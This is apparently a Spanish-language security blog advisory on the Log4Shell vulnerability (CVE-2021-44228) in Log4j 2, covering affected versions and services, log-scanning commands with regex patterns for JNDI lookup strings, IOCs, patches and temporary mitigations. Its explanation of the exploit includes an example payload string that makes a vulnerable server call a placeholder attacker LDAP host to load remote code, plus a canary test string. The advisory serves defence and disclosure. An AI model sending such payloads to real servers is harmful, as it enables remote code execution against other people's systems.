Log4Shell: vulnerabilidad crítica con exploit para #Log4j 2 (PARCHEA YA!)

Hace unas horas, se publicó un exploit Zero-Day en la popular biblioteca de registro de Java Log4j (2.0 – 2.14.1) que da como resultado la Ejecución Remota de Código (RCE) al registrar una determinada cadena. Un atacante puede construir un paquete especial de solicitud de datos, que finalmente desencadena la RCE.

Apache Log4j es una herramienta de registro basada en el lenguaje de programación Java y se utiliza ampliamente en el desarrollo de sistemas empresariales para registrar información.

Versión afectada: 2.0 <= Apache log4j2 <= 2.14.1

El 24 de noviembre de 2021, el equipo de seguridad de Alibaba Cloud informó oficialmente de la vulnerabilidad de ejecución remota de código de Apache Log4j. Debido a que algunas funciones de Apache Log4j realizan análisis recursivo, los atacantes pueden construir directamente solicitudes maliciosas para desencadenar vulnerabilidades de ejecución remota de código. La explotación de la vulnerabilidad no requiere una configuración especial. Tras la verificación por parte del equipo de seguridad de Alibaba Cloud se ven afectados:

• Apache Struts2


• Apache Solr


• Apache Druid


• Apache Flink

Dado lo ubicua que es esta biblioteca, el impacto del exploit (control total del servidor) y lo fácil que es explotar, la vulnerabilidad es crítica. Lo llamamos «Log4Shell» para abreviar.

Hay sospechas de que hacía mucho tiempo que se conocía el vector de ataque. Es interesante analizar como grandes vendors de la industria emplean componentes de software libre, sin interesarse en la seguridad de los mismos. Parece que se sigue asociando software libre a software gratuito.

El Zero-Day se tuiteó junto con un PoC publicado en GitHub. Se ha publicado como CVE-2021-44228 (info oficial).

¿Quién se ve afectado?

Muchos servicios son vulnerables a este exploit. Ya se ha descubierto que los servicios en la nube como en Steam, Apple iCloud, y aplicaciones como Minecraft son vulnerables (video). Muchos proyectos de código abierto como el servidor de Minecraft, Paper, Elasticsearch, Zrails, Hadoop, Kafka, Kibana, Solr, Spark, Struts, Tapestry, Wicket, ya han comenzado a parchear el uso de Log4j. Se ha demostrado que simplemente cambiar el nombre de un iPhone desencadena la vulnerabilidad en los servidores de Apple.

Cualquiera que use Apache Struts probablemente también sea vulnerable. Hemos visto vulnerabilidades similares explotadas antes en brechas como la filtración de datos de Equifax de 2017.

Según esta publicación de este blog, las versiones de JDK superiores a 6u211, 7u201, 8u191 y 11.0.1 no se ven afectadas por el vector de ataque LDAP. En estas versiones, com.sun.jndi.ldap.object.trustURLCodebase se establece en False, lo que significa que Java Naming and Directory Interface (JNDI) no puede cargar código remoto utilizando LDAP.

Sin embargo, existen otros vectores de ataque dirigidos a esta vulnerabilidad que pueden resultar en RCE. Un atacante aún podría aprovechar el código existente en el servidor para ejecutar una carga útil. En esta publicación se analiza un ataque dirigido a la clase org.apache.naming.factory.BeanFactory, presente en los servidores Apache Tomcat.

• Si encuentra estos hashes, entonces tiene el Log4j vulnerable en sus sistemas.


• La presencia de archivos JAR que pertenecen a la biblioteca Log4j puede indicar que una aplicación es potencialmente susceptible a CVE-2021-44228. Los archivos específicos para buscar deben coincidir con el siguiente patrón: "log4j-core-*.jar"


• Dependiendo del método de instalación, la ubicación del archivo JAR coincidente también puede dar indicaciones sobre qué aplicación es potencialmente vulnerable. Por ejemplo, en Windows, si el archivo se encuentra en C:\Program Files\ApplicationName\log4j-core-version.jar, indica que ApplicationName debe investigarse.


• En Linux, la utilidad lsof puede mostrar qué procesos tienen actualmente el archivo JAR en uso y se pueden ejecutar mediante la siguiente sintaxis: lsof /path/to/log4j-core-version.jar;


• Actualmente, la guía de detección en forma de firmas de expresión regular en el espacio público parece ser demasiado amplia y han surgido varias variantes para eludirlos. Randori recomienda filtrar las solicitudes entrantes que contienen la cadena «$ {jndi:» enviadas a sistemas sospechosos

Detección del ataque e IOCs

Florian Roth (aka cyb3rops) creó un repositorio con algunas opciones para la detección y la mitigación así como las reglas de YARA correspondientes. Estos comandos buscan distintos intentos de explotación en /var/log:

# sudo egrep -i -r '\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+' /var/log
# sudo find /var/log -name \*.gz -print0 | xargs -0 zgrep -E -i 
 '\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+'
# sudo find /var/log/test/ -type f -exec sh -c "cat | 
 sed -e 's/\$ tr -d '' | egrep -i 'jndi:(ldap[s]?|rmi|dns):'"\;
# sudo find /var/log/test/ -name "*.gz" -type f -exec sh -c "zcat |
 sed -e 's/\$ tr -d '' | egrep -i 'jndi:(ldap[s]?|rmi|dns):'" \;

Se han publicado las reglas de Suricata y Snort y un plugin para Burp.

Ya se ha iniciado la explotación masiva de esta vulnerabilidad principalmente por operadores de malware para el criptominado. GreyNoise ha publicado un listado de IPs, IOCs y Hashes de atacantes, las que corresponden principalmente a nodos de salida TOR.

Aquí hay una lista de IPs actualizada cada hora.

Se ha publicado la lista de productos vulnerables.

Se han publicado varias herramientas para el análisis de dominios:

• https://github.com/fullhunt/log4j-scan


• https://github.com/alexandre-lavoie/python-log4rce


• https://github.com/nice0e3/log4j_POC

Listado de avisos de todas las empresas:

• https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592


• https://www.techsolvency.com/story-so-far/cve-2021-44228-log4j-log4shell/

Mitigación permanente

La versión 2.15.0 de Log4j corrige la vulnerabilidad (requiere Java 8). 

 

• Para versiones antiguas se puede renombrar o eliminar el archivo JndiLookup.class


• Anuncio oficial de seguridad de log4j.

 

Mitigación temporal

Hay una discusión en HackerNews sobre el tema para la versión 2.10.0. Para mitigar la vulnerabilidad en lugar de actualizar Log4j, el siguiente parámetro debe establecerse en true al iniciar la máquina virtual Java: log4j2.formatMsgNoLookups;

La empresa de ciberseguridad Cybereason lanzó un script o «vacuna» que aprovecha la vulnerabilidad para desactivar una configuración en una instancia remota y vulnerable de Log4Shell. Básicamente, la vacuna corrige la vulnerabilidad explotando el servidor vulnerable.

La herramienta llamada Logout4Shell cambia algunas propiedades del sistema log4j2.formatMsgNoLookups = true, elimina la clase JndiLookup del classpath y, si el servidor tiene Java> = 8u121, cambia la configuración com.sun.jndi.rmi.object.trustURLCodebase y com.sun.jndi.cosnaming.object.trustURLCodebase.

Cómo funciona el exploit

Por ejemplo, una cadena de User-Agent que contenga el exploit podría pasarse a un sistema backend escrito en Java. Es por eso que es vital que todo el software basado en Java que use Log4j versión 2 esté parcheado o que se apliquen mitigaciones de inmediato. Incluso si el software orientado a Internet no está escrito en Java, es posible que las cadenas se pasen a otros sistemas que están en Java, lo que permite que suceda el exploit.

• El atacante envía un parámetro manipulado al servidor (por HTTP u otro protocolo). Por ejemplo la siguiente cadena: $jndi:ldap://sitio-malicioso.com/exp


• El servidor vulnerable recibe la solicitud con el payload.


• La vulnerabilidad en Log4j permite que el payload se ejecute y el servidor realiza una petición al sitio del atacante. La petición se realiza a través del protocolo JNDI.


• La respuesta desde el servidor del atacante contiene un archivo Java remoto (por ejemplo, un archivo exploit.class) que se inyecta en el proceso que está ejecutando el servidor vulnerable.


• Se ejecuta código en el servidor vulnerable.

La siguiente imagen del usuario @Esferared lo explica a la perfección:

Una forma rápida de probar cualquier aplicación, la explica Thinkst Canary en su twit:

A. Generar un DNS token «Log4Shell» en https://canarytokens.org/generate#.

B. Usar el token generado valor en cualquier formulario, ingreso de dato, configuración, campo, parámetro, etc. de una aplicación. Por ejemplo:  $jndi:ldap://x$hostName.TEST.nfdmo17lg5o2kr9m76cmp9a88.canarytokens.com/a

C. Se recibe una notificación ante la vulnerabilidad.

Aquí (y aquí) se puede ver un ejemplo de una aplicación vulnerable.

Fuente: LunaSec